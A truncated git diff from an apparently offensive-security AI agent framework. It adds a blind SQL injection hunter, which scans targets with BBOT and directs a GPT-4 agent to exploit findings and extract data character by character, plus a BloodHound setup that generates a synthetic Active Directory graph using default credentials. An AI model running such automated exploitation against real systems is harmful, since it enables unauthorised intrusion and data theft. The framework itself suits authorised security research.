tool_outputs[tool_name] = message.content + + finding_stored = "store_sqli_finding" in tools_used + has_sqli = finding_stored + if result.messages and result.messages[-1].content: + has_sqli = has_sqli or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "blind injection confirmed", + "time-based injection", + "boolean-based injection", + "timing difference detected", + "response delay confirmed", + "sleep delay detected", + "conditional response", + "blind sqli confirmed", + ] + ) + + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_blind_sqli", 1 if has_sqli else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) + + analysis_result = { + "url": url, + "host": host, + "parameter": param_name, + "param_type": param_type, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "analysis": result.messages[-1].content if result.messages else None, + "steps": result.steps, + "has_sqli": has_sqli, + "stored_in_db": finding_stored, + "original_finding": finding_data + } + + return analysis_result + +def create_sqli_agent() -> Agent: + """Create a blind SQL injection analysis agent.""" + tools = [BBotTool(), KaliTool(), Neo4jTool()] + + return Agent( + name="blind-sqli-agent", + description="An agent that analyzes and exploits blind SQL injection vulnerabilities", + model="gpt-4-turbo", + tools=tools, + instructions="""You are an expert at analyzing and exploiting blind SQL injection vulnerabilities. + +Your mission is to detect and exploit SQL injection through timing and response analysis - no error messages expected. + +Start with reconnaissance and build your approach based on what you observe: + +1. BASELINE ESTABLISHMENT: Make several normal requests to understand typical response times and patterns +2. TIME-BASED DETECTION: Test if you can control execution timing through SQL delays +3. BOOLEAN-BASED DETECTION: Test if you can influence application responses through true/false conditions +4. PROGRESSIVE EXTRACTION: Once you confirm blind SQLi, extract data character-by-character + +Adapt your techniques based on the application's behavior. Some applications respond to timing attacks, others to content-length differences, others to subtle page changes. + +Use the http_request tool systematically. Document timing patterns and response variations precisely. + +If you confirm blind SQL injection exists, use store_sqli_finding to record the vulnerability.""", + ) + +def extract_param_name(description: str) -> str: + """Extract parameter name from BBOT finding description.""" + if "Name: [" in description: + start = description.find("Name: [") + 7 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + +def extract_param_type(description: str) -> str: + """Extract parameter type from BBOT finding description.""" + if "Parameter Type: [" in description: + start = description.find("Parameter Type: [") + 17 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + +def extract_original_value(description: str) -> str: + """Extract original parameter value from BBOT finding description.""" + if "Original Value: [" in description: + start = description.find("Original Value: [") + 17 + end = description.rfind("]") + return description[start:end] if end > start else "" + return "" + +def is_sqli_finding(event: dict[str, t.Any]) -> bool: + """Check if a BBOT event is a SQL injection finding.""" + if event.get('type') != 'FINDING': + return False + + description = event.get('data', {}).get('description', '') + return 'SQL Injection' in description + +async def hunt_from_bbot_scan( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for blind SQL injection vulnerabilities from BBOT scan findings.""" + + if isinstance(targets, Path): + with targets.open() as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided.") + return + + with dn.run("blind-sqli-hunt"): + dn.log_params( + target_count=len(targets), + presets=presets or [], + modules=modules or [], + flags=flags or [], + ) + + console.print(f"Starting blind SQL injection hunt on {len(targets)} targets...") + + sqli_findings_count = 0 + total_findings = 0 + + tool = BBotTool() + scan_modules = modules or ["httpx", "excavate", "hunt"] + + for target in targets: + try: + scan_config = config or {"omit_event_types": []} + + events = tool.run( + target=target, + presets=presets, + modules=scan_modules, + flags=flags, + config=scan_config, + ) + + async for event in events: + if is_sqli_finding(event): + total_findings += 1 + + try: + analysis_result = await analyze_sqli_finding(event) + + if analysis_result["has_sqli"]: + sqli_findings_count += 1 + + security_finding = { + "url": analysis_result["url"], + "host": analysis_result["host"], + "parameter": analysis_result["parameter"], + "finding_type": "blind_sqli", + "risk_level": "high", + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "timestamp": time.time(), + "stored_in_db": analysis_result["stored_in_db"], + } + + dn.log_output(f"blind_sqli_finding_{analysis_result['host']}", security_finding) + console.print(f"Blind SQL injection confirmed on {analysis_result['host']}") + else: + console.print(f"Blind SQL injection not exploitable on {event.get('host')}") + + except Exception as e: + console.print(f"Error analyzing SQL injection finding: {e}") + + except Exception as e: + console.print(f"Error scanning {target}: {e}") + + dn.log_metric("total_findings", total_findings) + dn.log_metric("blind_confirmed", sqli_findings_count) + + console.print(f"Hunt Summary:") + console.print(f" SQL injection candidates found: {total_findings}") + console.print(f" Blind SQL injection vulnerabilities confirmed: {sqli_findings_count}") + +async def analyze_finding_file(finding_file: Path, debug: bool = False) -> None: + """Analyze SQL injection findings from a JSON file.""" + + with dn.run("blind-sqli-analyze"): + try: + with finding_file.open() as f: + findings = json.load(f) + + if not isinstance(findings, list): + findings = [findings] + + sqli_count = 0 + for finding in findings: + if is_sqli_finding(finding): + analysis_result = await analyze_sqli_finding(finding) + + if debug: + console.print(f"Tools used: {', '.join(analysis_result['tools_used'])}") + + if analysis_result["has_sqli"]: + sqli_count += 1 + console.print(f"Blind SQL injection confirmed") + else: + console.print(f"No blind SQL injection exploitation possible") + + dn.log_metric("blind_findings", sqli_count) + + except Exception as e: + console.print(f"Error analyzing findings file: {e}") + +async def main() -> None: + parser = argparse.ArgumentParser(description="Blind SQL injection vulnerability hunter") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + hunt_parser = subparsers.add_parser("hunt", help="Hunt for blind SQL injection vulnerabilities using BBOT") + hunt_parser.add_argument("--targets", type=Path, help="Path to file containing targets") + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + analyze_parser = subparsers.add_parser("analyze", help="Analyze SQL injection findings from JSON file") + analyze_parser.add_argument("finding_file", type=Path, help="JSON file containing BBOT findings") + analyze_parser.add_argument("--debug", action="store_true", help="Show debug information") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt_from_bbot_scan(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "analyze": + await analyze_finding_file(args.finding_file, args.debug) + else: + parser.print_help() + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file diff --git a/examples/agents/bloodhound/__init__.py b/examples/agents/bloodhound/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/examples/agents/bloodhound/ad/Dockerfile b/examples/agents/bloodhound/ad/Dockerfile new file mode 100644 index 00000000..0a7102f7 --- /dev/null +++ b/examples/agents/bloodhound/ad/Dockerfile @@ -0,0 +1,29 @@ +FROM python:3.10-slim + + +# Update package lists and install git +RUN apt-get update && \ + apt-get install -y git + +RUN useradd -m adsim +USER adsim +# Set the HOME environment variable to the non-root user's home directory +ENV HOME /home/adsim + +RUN mkdir -p $HOME/.adsimulator && \ + git clone https://github.com/nicolas-carolo/adsimulator.git $HOME/.adsimulator/adsimulator + +RUN cp -r $HOME/.adsimulator/adsimulator/data $HOME/.adsimulator +RUN ls -la && echo "Listing complete" + +RUN pip install -r $HOME/.adsimulator/adsimulator/requirements.txt --user + +WORKDIR $HOME/.adsimulator/adsimulator +RUN python setup.py install --user + +RUN pip install neo4j +RUN pip install fire + +COPY generate.py . + +# CMD ["python", "generate.py"] \ No newline at end of file diff --git a/examples/agents/bloodhound/ad/docker-compose.yml b/examples/agents/bloodhound/ad/docker-compose.yml new file mode 100644 index 00000000..c8aa4ce3 --- /dev/null +++ b/examples/agents/bloodhound/ad/docker-compose.yml @@ -0,0 +1,102 @@ +# Copyright 2023 Specter Ops, Inc. +# +# Licensed under the Apache License, Version 2.0 +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +version: '3' +services: + app-db: + image: docker.io/library/postgres:13.2 + environment: + - POSTGRES_USER=${POSTGRES_USER:-bloodhound} + - POSTGRES_PASSWORD=${POSTGRES_PASSWORD:-bloodhoundcommunityedition} + - POSTGRES_DB=${POSTGRES_DB:-bloodhound} + # Database ports are disabled by default. Please change your database password to something secure before uncommenting + # ports: + # - 127.0.0.1:${POSTGRES_PORT:-5432}:5432 + volumes: + - postgres-data:/var/lib/postgresql/data + healthcheck: + test: + [ + "CMD-SHELL", + "pg_isready -U ${POSTGRES_USER:-bloodhound} -d ${POSTGRES_DB:-bloodhound} -h 127.0.0.1 -p ${POSTGRES_PORT:-5432}" + ] + interval: 10s + timeout: 5s + retries: 5 + start_period: 30s + + graph-db: + image: docker.io/library/neo4j:4.4 + environment: + - NEO4J_AUTH=${NEO4J_USER:-neo4j}/${NEO4J_SECRET:-bloodhoundcommunityedition} + - NEO4J_dbms_allow__upgrade=${NEO4J_ALLOW_UPGRADE:-true} + # Database ports are disabled by default. Please change your database password to something secure before uncommenting + ports: + # - 127.0.0.1:${NEO4J_DB_PORT:-7687}:7687 + # - 127.0.0.1:${NEO4J_WEB_PORT:-7474}:7474 + - ${NEO4J_DB_PORT:-7687}:7687 + - ${NEO4J_WEB_PORT:-7474}:7474 + volumes: + - ${NEO4J_DATA_MOUNT:-neo4j-data}:/data + healthcheck: + test: + [ + "CMD-SHELL", + "wget -O /dev/null -q http://localhost:${NEO4J_WEB_PORT:-7474} || exit 1" + ] + interval: 10s + timeout: 5s + retries: 5 + start_period: 30s + + bloodhound: + image: docker.io/specterops/bloodhound:${BLOODHOUND_TAG:-latest} + environment: + - bhe_disable_cypher_qc=${bhe_disable_cypher_qc:-false} + - bhe_database_connection=user=${POSTGRES_USER:-bloodhound} password=${POSTGRES_PASSWORD:-bloodhoundcommunityedition} dbname=${POSTGRES_DB:-bloodhound} host=app-db + - bhe_neo4j_connection=neo4j://${NEO4J_USER:-neo4j}:${NEO4J_SECRET:-bloodhoundcommunityedition}@graph-db:7687/ + ### Add additional environment variables you wish to use here. + ### For common configuration options that you might want to use environment variables for, see `.env.example` + ### example: bhe_database_connection=${bhe_database_connection} + ### The left side is the environment variable you're setting for bloodhound, the variable on the right in `${}` + ### is the variable available outside of Docker + ports: + ### Default to localhost to prevent accidental publishing of the service to your outer networks + ### These can be modified by your .env file or by setting the environment variables in your Docker host OS + - ${BLOODHOUND_HOST:-127.0.0.1}:${BLOODHOUND_PORT:-8080}:8080 + ### Uncomment to use your own bloodhound.config.json to configure the application + # volumes: + # - ./bloodhound.config.json:/bloodhound.config.json:ro + depends_on: + app-db: + condition: service_healthy + graph-db: + condition: service_healthy + + generator: + build: + context: . + dockerfile: Dockerfile + command: > + python generate.py --url "bolt://graph-db:7687" --username "${NEO4J_USER:-neo4j}" --password "${NEO4J_SECRET:-bloodhoundcommunityedition}" --domain "SKY.NET" + depends_on: + app-db: + condition: service_healthy + graph-db: + condition: service_healthy +volumes: + neo4j-data: + postgres-data: \ No newline at end of file diff --git a/examples/agents/bloodhound/ad/generate.py b/examples/agents/bloodhound/ad/generate.py new file mode 100644 index 00000000..2682857a --- /dev/null +++ b/examples/agents/bloodhound/ad/generate.py @@ -0,0 +1,855 @@ +#!/usr/bin/env python +# Requirements - pip install neo4j-driver +# This script is used to create randomized sample databases. +# Commands +# dbconfig - Set the credentials and URL for the database you're connecting too +# connect - Connects to the database using supplied credentials +# setparams - Set the settings JSON file +# setdomain - Set the domain name +# cleardb - Clears the database and sets the schema properly +# generate - Connects to the database, clears the DB, sets the schema, and generates random data + +# import cmd +import math +import random +import time +import uuid + +import fire +from adsimulator.generators.acls import ( + generate_administrators_acls, + generate_all_extended_rights, + generate_default_dc_groups_acls, + generate_default_groups_acls, + generate_default_users_acls, + generate_domain_admins_acls, + generate_enterprise_admins_acls, + generate_generic_all, + generate_generic_write, + generate_local_admin_rights, + generate_outbound_acls, + generate_owns, + generate_write_dacl, + generate_write_owner, +) +from adsimulator.generators.computers import ( + generate_allowed_to_delegate_relationships_on_computers, + generate_allowed_to_delegate_relationships_on_it_users, + generate_can_ps_remote_relationships_on_it_groups, + generate_can_ps_remote_relationships_on_it_users, + generate_can_rdp_relationships_on_it_groups, + generate_can_rdp_relationships_on_it_users, + generate_computers, + generate_dcom_relationships_on_it_groups, + generate_dcom_relationships_on_it_users, + generate_dcs, + generate_default_admin_to, + generate_sessions, +) +from adsimulator.generators.domains import generate_domain, generate_trusts +from adsimulator.generators.gpos import ( + generate_default_gpos, + generate_gpos, + gplink_domain_to_ous, + link_default_gpos, + link_gpos_to_ous, +) +from adsimulator.generators.groups import ( + assign_users_to_group, + generate_default_groups, + generate_default_member_of, + generate_domain_administrators, + generate_groups, + nest_groups, +) +from adsimulator.generators.ous import ( + generate_computer_ous, + generate_domain_controllers_ou, + generate_user_ous, + link_ous_to_domain, +) +from adsimulator.generators.users import ( + generate_administrator, + generate_default_account, + generate_guest_user, + generate_krbtgt_user, + generate_users, + link_default_users_to_domain, +) +from adsimulator.templates.default_values import DEFAULT_VALUES +from adsimulator.utils.data import ( + get_domains_pool, + get_names_pool, + get_parameters_from_json, + get_surnames_pool, +) +from adsimulator.utils.domains import get_domain_dn +from adsimulator.utils.parameters import ( + get_int_param_value, + get_int_param_value_with_upper_limit, + get_perc_param_value, + print_all_parameters, +) +from neo4j import GraphDatabase + + +class Messages: + def title(self): + print("==================================================================") + print( + """ + + ,., + MMMM_ ,.., + \"_ \"__"MMMMM ,...,, + ,..., __.\" --\" ,., _-\"MMMMMMM +MMMMMM"___ "_._ MMM"_."" _ """ + """ _ _ _ _ + \"\"\"\"\" \"\" , \\_. \"_. .\" __ _ __| |___(_)_ __ ___ _ _| | __ _| |_ ___ _ __ + ,., _"__ \\__./ ." / _` |/ _` / __| | '_ ` _ \\| | | | |/ _` | __/ _ \\| '__| + MMMMM_" "_ ./ | (_| | (_| \\__ \\ | | | | | | |_| | | (_| | || (_) | | + '''' ( ) \\__,_|\\__,_|___/_|_| |_| |_|\\__,_|_|\\__,_|\\__\\___/|_| + ._______________.-'____\"---._. + \\ / + \\________________________/ + (_) (_) + + + + """ + ) + print(" A realistic simulator of Active Directory domains\n") + print("==================================================================") + + def input_default(self, prompt, default): + return input("%s [%s] " % (prompt, default)) or default + + def input_yesno(self, prompt, default): + temp = input( + prompt + " " + ("Y" if default else "y") + "/" + ("n" if default else "N") + " " + ) + if temp == "y" or temp == "Y": + return True + if temp == "n" or temp == "N": + return False + return default + + +# class MainMenu(cmd.Cmd): +class MainMenu: + def __init__( + self, + url="bolt://localhost:7687", + username="neo4j", + password="password", + domain="SKY.NET", + # save=False, + parameters=DEFAULT_VALUES, + ): + self.m = Messages() + self.url = url + self.username = username + self.password = password + self.use_encryption = False + self.driver = None + self.connected = False + self.old_domain = None + self.domain = domain + self.current_time = int(time.time()) + self.base_sid = "S-1-5-21-883232822-274137685-4173207997" + self.first_names = get_names_pool() + self.last_names = get_surnames_pool() + self.domain_names = get_domains_pool() + self.parameters_json_path = "DEFAULT" + self.parameters = parameters + self.json_file_name = None + + # self.save = save + + def dbconfig(self, args): + print("Current Settings:") + print(f"DB Url: {self.url}") + print(f"DB Username: {self.username}") + print(f"DB Password: {self.password}") + print(f"Use encryption: {self.use_encryption}") + print() + self.url = self.m.input_default("Enter DB URL", self.url) + self.username = self.m.input_default("Enter DB Username", self.username) + self.password = self.m.input_default("Enter DB Password", self.password) + + self.use_encryption = self.m.input_yesno("Use encryption?", self.use_encryption) + print() + print("New Settings:") + print(f"DB Url: {self.url}") + print(f"DB Username: {self.username}") + print(f"DB Password: {self.password}") + print(f"Use encryption: {self.use_encryption}") + print() + print("Testing DB Connection") + self.test_db_conn() + + def setdomain(self, args): + passed = args + if passed != "": + try: + self.domain = passed.upper() + return + except ValueError: + pass + + self.domain = self.m.input_default("Domain", self.domain).upper() + print() + print("New Settings:") + print(f"Domain: {self.domain}") + + def exit(self): + raise KeyboardInterrupt + + def connect(self): + self.test_db_conn() + + def cleardb(self): + if not self.connected: + print("Not connected to database. Use connect first") + return + + print("Clearing Database") + d = self.driver + session = d.session() + + session.run("match (a) -[r] -> () delete a, r") + session.run("match (a) delete a") + + session.close() + + print("DB Cleared and Schema Set") + + def setparams(self, args=""): + passed = args + if passed != "": + try: + json_path = passed + self.parameters = get_parameters_from_json(json_path) + self.parameters_json_path = json_path + print_all_parameters(self.parameters) + return + except ValueError: + pass + + json_path = self.m.input_default("Parameters JSON file", self.parameters_json_path) + self.parameters = get_parameters_from_json(json_path) + if self.parameters == DEFAULT_VALUES: + self.parameters_json_path = "DEFAULT" + else: + self.parameters_json_path = json_path + self.parameters = get_parameters_from_json(json_path) + print_all_parameters(self.parameters) + + def test_db_conn(self): + self.connected = False + if self.driver is not None: + self.driver.close() + try: + self.driver = GraphDatabase.driver( + self.url, + auth=(self.username, self.password), + encrypted=self.use_encryption, + ) + self.connected = True + print("Database Connection Successful!") + except: + self.connected = False + print("Database Connection Failed. Check your settings.") + + def generate(self): + self.test_db_conn() + self.cleardb() + self.generate_data() + self.old_domain = self.domain + + def generate_data(self): + if not self.connected: + print("Not connected to database. Use connect first") + return + + domain_dn = get_domain_dn(self.domain) + + computers = [] + computer_properties_list = [] + dc_properties_list = [] + groups = [] + users = [] + user_properties_list = [] + gpos = [] + gpos_properties_list = [] + ou_guid_map = {} + ou_properties_list = [] + + session = self.driver.session() + + print("Starting data generation") + + print("Generating the", self.domain, "domain") + functional_level = generate_domain( + session, self.domain, self.base_sid, domain_dn, self.parameters + ) + + print("Generating the default domain groups") + generate_default_groups(session, self.domain, self.base_sid, self.old_domain) + + ddp = str(uuid.uuid4()).upper() + ddcp = str(uuid.uuid4()).upper() + dcou = str(uuid.uuid4()).upper() + + print("Generating default GPOs") + generate_default_gpos(session, self.domain, domain_dn, ddp, ddcp) + + print("Generating Domain Controllers OU") + generate_domain_controllers_ou(session, self.domain, domain_dn, dcou) + + print("Linking Default GPOs") + link_default_gpos(session, self.domain, ddp, ddcp, dcou) + + print("Generating Enterprise Admins ACLs") + generate_enterprise_admins_acls(session, self.domain) + + print("Generating Administrators ACLs") + generate_administrators_acls(session, self.domain) + + print("Generating Domain Admins ACLs") + generate_domain_admins_acls(session, self.domain) + + print("Generating DC groups ACLs") + generate_default_dc_groups_acls(session, self.domain) + + num_computers = get_int_param_value("Computer", "nComputers", self.parameters) + print("Generating", str(num_computers), "computers") + computer_properties_list, computers, ridcount = generate_computers( + session, + self.domain, + self.base_sid, + num_computers, + computers, + self.current_time, + self.parameters, + ) + + num_ous = get_int_param_value_with_upper_limit("OU", "nOUs", self.parameters, 50) + if not num_ous % 2 == 0: + num_ous = num_ous - 1 + num_states = int(num_ous / 2) + + print("Generating", str(num_states), "Domain Controllers") + dc_properties_list, ridcount = generate_dcs( + session, + self.domain, + self.base_sid, + domain_dn, + num_states, + dcou, + ridcount, + self.current_time, + self.parameters, + functional_level, + ) + + print("Generating default users") + generate_guest_user(session, self.domain, self.base_sid, self.parameters) + generate_default_account(session, self.domain, self.base_sid, self.parameters) + generate_administrator(session, self.domain, self.base_sid, self.parameters) + generate_krbtgt_user(session, self.domain, self.base_sid, self.parameters) + link_default_users_to_domain(session, self.domain, self.base_sid) + + num_users = get_int_param_value("User", "nUsers", self.parameters) + print("Generating", str(num_users), "users") + user_properties_list, users, ridcount = generate_users( + session, + self.domain, + self.base_sid, + num_users, + self.current_time, + self.first_names, + self.last_names, + users, + ridcount, + self.parameters, + ) + + num_groups = get_int_param_value("Group", "nGroups", self.parameters) + print("Generating groups") + group_properties_list, groups, ridcount = generate_groups( + session, + self.domain, + self.base_sid, + domain_dn, + num_groups, + groups, + ridcount, + self.parameters, + ) + + print("Adding Domain Admins to Local Admins of Computers") + generate_default_admin_to(session, self.base_sid) + + das = generate_domain_administrators(session, self.domain, num_users, users) + + print("Adding members to default groups") + generate_default_member_of(session, self.domain, self.base_sid, self.old_domain) + + nesting_perc = get_perc_param_value("Group", "nestingGroupProbability", self.parameters) + print( + "Applying random group nesting (nesting probability:", + str(nesting_perc), + "%)", + ) + nest_groups(session, num_groups, groups, nesting_perc) + + print("Adding users to groups") + it_users = assign_users_to_group(session, num_users, users, groups, das, self.parameters) + + print("Adding local admin rights") + it_groups = generate_local_admin_rights(session, groups, computers) + + print("Adding ACLs for default groups") + generate_default_groups_acls(session, self.domain, self.base_sid) + + print("Adding ACLs for default users") + generate_default_users_acls(session, self.domain, self.base_sid) + + print("Adding AllExtendedRights") + generate_all_extended_rights(session, self.domain, self.base_sid, user_properties_list, das) + + can_rdp_users_perc = get_perc_param_value( + "Computer", "CanRDPFromUserPercentage", self.parameters + ) + count = int(math.floor(len(computers) * (can_rdp_users_perc / 100))) + print("Adding a maximum of", str(count), "CanRDP from users") + generate_can_rdp_relationships_on_it_users(session, computers, it_users, count) + + can_rdp_groups_perc = get_perc_param_value( + "Computer", "CanRDPFromGroupPercentage", self.parameters + ) + count = int(math.floor(len(computers) * (can_rdp_groups_perc / 100))) + print("Adding a maximum of", str(count), "CanRDP from groups") + generate_can_rdp_relationships_on_it_groups(session, computers, it_groups, count) + + dcom_users_perc = get_perc_param_value( + "Computer", "ExecuteDCOMFromUserPercentage", self.parameters + ) + count = int(math.floor(len(computers) * (dcom_users_perc / 100))) + print("Adding a maximum of", str(count), "ExecuteDCOM from users") + generate_dcom_relationships_on_it_users(session, computers, it_users, count) + + dcom_groups_perc = get_perc_param_value( + "Computer", "ExecuteDCOMFromGroupPercentage", self.parameters + ) + count = int(math.floor(len(computers) * (dcom_groups_perc / 100))) + print("Adding a maximum of", str(count), "ExecuteDCOM from groups") + generate_dcom_relationships_on_it_groups(session, computers, it_groups, count) + + allowed_to_delegate_users_perc = get_perc_param_value( + "Computer", "AllowedToDelegateFromUserPercentage", self.parameters + ) + count = int(math.floor(len(computers) * (allowed_to_delegate_users_perc / 100))) + print("Adding a maximum of", str(count), "AllowedToDelegate from users") + generate_allowed_to_delegate_relationships_on_it_users(session, computers, it_users, count) + + allowed_to_delegate_computers_perc = get_perc_param_value( + "Computer", "AllowedToDelegateFromComputerPercentage", self.parameters + ) + count = int(math.floor(len(computers) * (allowed_to_delegate_computers_perc / 100))) + print("Adding a maximum of", str(count), "AllowedToDelegate from computers") + generate_allowed_to_delegate_relationships_on_computers(session, computers, count) + + ps_remote_users_perc = get_perc_param_value( + "Computer", "CanPSRemoteFromUserPercentage", self.parameters + ) + count = int(math.floor(len(computers) * (ps_remote_users_perc / 100))) + print("Adding a maximum of", str(count), "CanPSRemote from users") + generate_can_ps_remote_relationships_on_it_users(session, computers, it_users, count) + + ps_remote_groups_perc = get_perc_param_value( + "Computer", "CanPSRemoteFromGroupPercentage", self.parameters + ) + count = int(math.floor(len(computers) * (ps_remote_groups_perc / 100))) + print("Adding a maximum of", str(count), "CanPSRemote from groups") + generate_can_ps_remote_relationships_on_it_groups(session, computers, it_groups, count) + + print("Adding sessions") + generate_sessions(session, num_users, computers, users, das) + + print("Generating", str(num_ous), "OUs") + split_num_computers = int(math.ceil(num_computers / num_states)) + split_num_users = int(math.ceil(num_users / num_states)) + ou_properties_list, ou_guid_map = generate_computer_ous( + session, + self.domain, + domain_dn, + computers, + ou_guid_map, + ou_properties_list, + split_num_computers, + num_states, + ) + ou_properties_list, ou_guid_map = generate_user_ous( + session, + self.domain, + domain_dn, + users, + ou_guid_map, + ou_properties_list, + split_num_users, + num_states, + ) + link_ous_to_domain(session, self.domain, ou_guid_map) + + num_gpos = get_int_param_value_with_upper_limit( + "GPO", "nGPOs", self.parameters, 2 * num_states + ) + print("Creating", str(num_gpos), "GPOs") + gpos, gpos_properties_list = generate_gpos( + session, + self.domain, + domain_dn, + gpos, + gpos_properties_list, + num_gpos, + self.parameters, + ) + + print("Generating GpLink") + ou_names = list(ou_guid_map.keys()) + link_gpos_to_ous(session, gpos, ou_names, ou_guid_map) + gplink_domain_to_ous(session, self.domain, ou_names, ou_guid_map) + + gpos.append(f"DEFAULT DOMAIN POLICY@{self.domain}") + gpos.append(f"DEFAULT DOMAIN CONTROLLERS POLICY@{self.domain}") + + print("Adding GenericWrite") + generate_generic_write( + session, + computer_properties_list, + user_properties_list, + group_properties_list, + gpos_properties_list, + das, + self.domain, + self.base_sid, + ) + print("Adding Owns") + generate_owns( + session, + computer_properties_list, + user_properties_list, + group_properties_list, + ou_properties_list, + gpos_properties_list, + self.domain, + self.base_sid, + ) + print("Adding WriteDacl") + generate_write_dacl( + session, + dcou, + computer_properties_list, + user_properties_list, + group_properties_list, + ou_properties_list, + gpos_properties_list, + das, + self.domain, + self.base_sid, + ) + print("Adding WriteOwner") + generate_write_owner( + session, + dcou, + computer_properties_list, + user_properties_list, + group_properties_list, + ou_properties_list, + gpos_properties_list, + das, + self.domain, + self.base_sid, + ) + print("Adding GenericAll") + generate_generic_all( + session, + dcou, + dc_properties_list, + computer_properties_list, + user_properties_list, + group_properties_list, + ou_properties_list, + gpos_properties_list, + das, + self.domain, + self.base_sid, + ) + + acl_principals_perc = get_perc_param_value( + "ACLs", "ACLPrincipalsPercentage", self.parameters + ) + num_acl_principals = int(round(len(it_groups) * (acl_principals_perc / 100))) + generate_outbound_acls( + session, + num_acl_principals, + it_groups, + it_users, + gpos, + computers, + self.parameters, + ) + + session.run("MATCH (n) SET n.domain=$domain", domain=self.domain) + + self.domain_names = get_domains_pool() + generate_trusts(session, self.domain, self.domain_names, self.parameters) + + session.run("MATCH (n:User) SET n.owned=false") + + owned_user = random.choice(users) + print("Compromised user:", owned_user) + + # session.run('MATCH (n:User {name: $owneduser}) SET n.owned=true', owneduser=owned_user) + # session.run('MATCH (n:User {name: $owneduser}) SET n:Compromised', owneduser=owned_user) + + session.run("MATCH (n:Computer) SET n.owned=false") + + # if self.save == True: + # self.write_json(session) + + session.close() + + print("Database Generation Finished!") + + # def write_json(self, session): + # json_filename = uuid.uuid4().hex + ".jsonl" + # query = "CALL apoc.export.json.all('" + json_filename + "',{useTypes:true})" + + # try: + # session.run(query) + # except Exception as error: + # print(error) + + # print("Graph exported to: /var/lib/neo4j/import/{}".format(json_filename)) + + +def optuna_generate(args): + env = MainMenu( + url=args.url, + username=args.username, + password=args.password, + domain=args.domain, + # save=args.save, + ) + + try: + env.connect() + print("[+] Successfully connected!") + except Exception as error: + print(f"[!] Failed to connect! {error}") + + def objective(trial): + config = DEFAULT_VALUES.copy() + config["Domain"]["functionalLevelProbability"]["2008"] = trial.suggest_int("2008", 1, 10) + config["Domain"]["functionalLevelProbability"]["2012"] = trial.suggest_int("2012", 1, 50) + config["Domain"]["functionalLevelProbability"]["2012 R2"] = trial.suggest_int( + "2012 R2", 1, 50 + ) + config["Domain"]["functionalLevelProbability"]["2016"] = trial.suggest_int("2016", 1, 50) + config["Domain"]["functionalLevelProbability"]["Unknown"] = trial.suggest_int( + "Unknown", 1, 50 + ) + config["Domain"]["Trusts"]["SIDFilteringProbability"] = trial.suggest_int( + "SIDFilteringProbability", 1, 100 + ) + config["Domain"]["Trusts"]["Inbound"] = trial.suggest_int("Inbound", 1, 100) + config["Domain"]["Trusts"]["Outbound"] = trial.suggest_int("Outbound", 1, 100) + config["Domain"]["Trusts"]["Bidirectional"] = trial.suggest_int("Bidirectional", 1, 100) + + # Define your parameters for the 'Computer' section + config["Computer"]["nComputers"] = trial.suggest_int("nComputers", 50, 1000) + config["Computer"]["CanRDPFromUserPercentage"] = trial.suggest_int( + "CanRDPFromUserPercentage", 1, 50 + ) + config["Computer"]["CanRDPFromGroupPercentage"] = trial.suggest_int( + "CanRDPFromGroupPercentage", 1, 50 + ) + config["Computer"]["CanPSRemoteFromUserPercentage"] = trial.suggest_int( + "CanPSRemoteFromUserPercentage", 1, 50 + ) + config["Computer"]["CanPSRemoteFromGroupPercentage"] = trial.suggest_int( + "CanPSRemoteFromGroupPercentage", 1, 50 + ) + config["Computer"]["ExecuteDCOMFromUserPercentage"] = trial.suggest_int( + "ExecuteDCOMFromUserPercentage", 1, 50 + ) + config["Computer"]["ExecuteDCOMFromGroupPercentage"] = trial.suggest_int( + "ExecuteDCOMFromGroupPercentage", 1, 50 + ) + config["Computer"]["AllowedToDelegateFromUserPercentage"] = trial.suggest_int( + "AllowedToDelegateFromUserPercentage", 1, 50 + ) + config["Computer"]["AllowedToDelegateFromComputerPercentage"] = trial.suggest_int( + "AllowedToDelegateFromComputerPercentage", 1, 50 + ) + config["Computer"]["enabled"] = trial.suggest_int("enabled", 1, 100) + config["Computer"]["haslaps"] = trial.suggest_int("haslaps", 1, 50) + config["Computer"]["unconstraineddelegation"] = trial.suggest_int( + "unconstraineddelegation", 1, 50 + ) + config["Computer"]["privesc"] = trial.suggest_int("privesc", 1, 50) + config["Computer"]["creddump"] = trial.suggest_int("creddump", 1, 50) + config["Computer"]["exploitable"] = trial.suggest_int("exploitable", 1, 50) + config["Computer"]["osProbability"]["Windows XP Professional Service Pack 3"] = ( + trial.suggest_int("Windows XP Professional Service Pack 3", 1, 10) + ) + config["Computer"]["osProbability"]["Windows 7 Professional Service Pack 1"] = ( + trial.suggest_int("Windows 7 Professional Service Pack 1", 1, 20) + ) + config["Computer"]["osProbability"]["Windows 7 Ultimate Service Pack 1"] = ( + trial.suggest_int("Windows 7 Ultimate Service Pack 1", 1, 20) + ) + config["Computer"]["osProbability"]["Windows 7 Enterprise Service Pack 1"] = ( + trial.suggest_int("Windows 7 Enterprise Service Pack 1", 1, 20) + ) + config["Computer"]["osProbability"]["Windows 10 Pro"] = trial.suggest_int( + "Windows 10 Pro", 1, 40 + ) + config["Computer"]["osProbability"]["Windows 10 Enterprise"] = 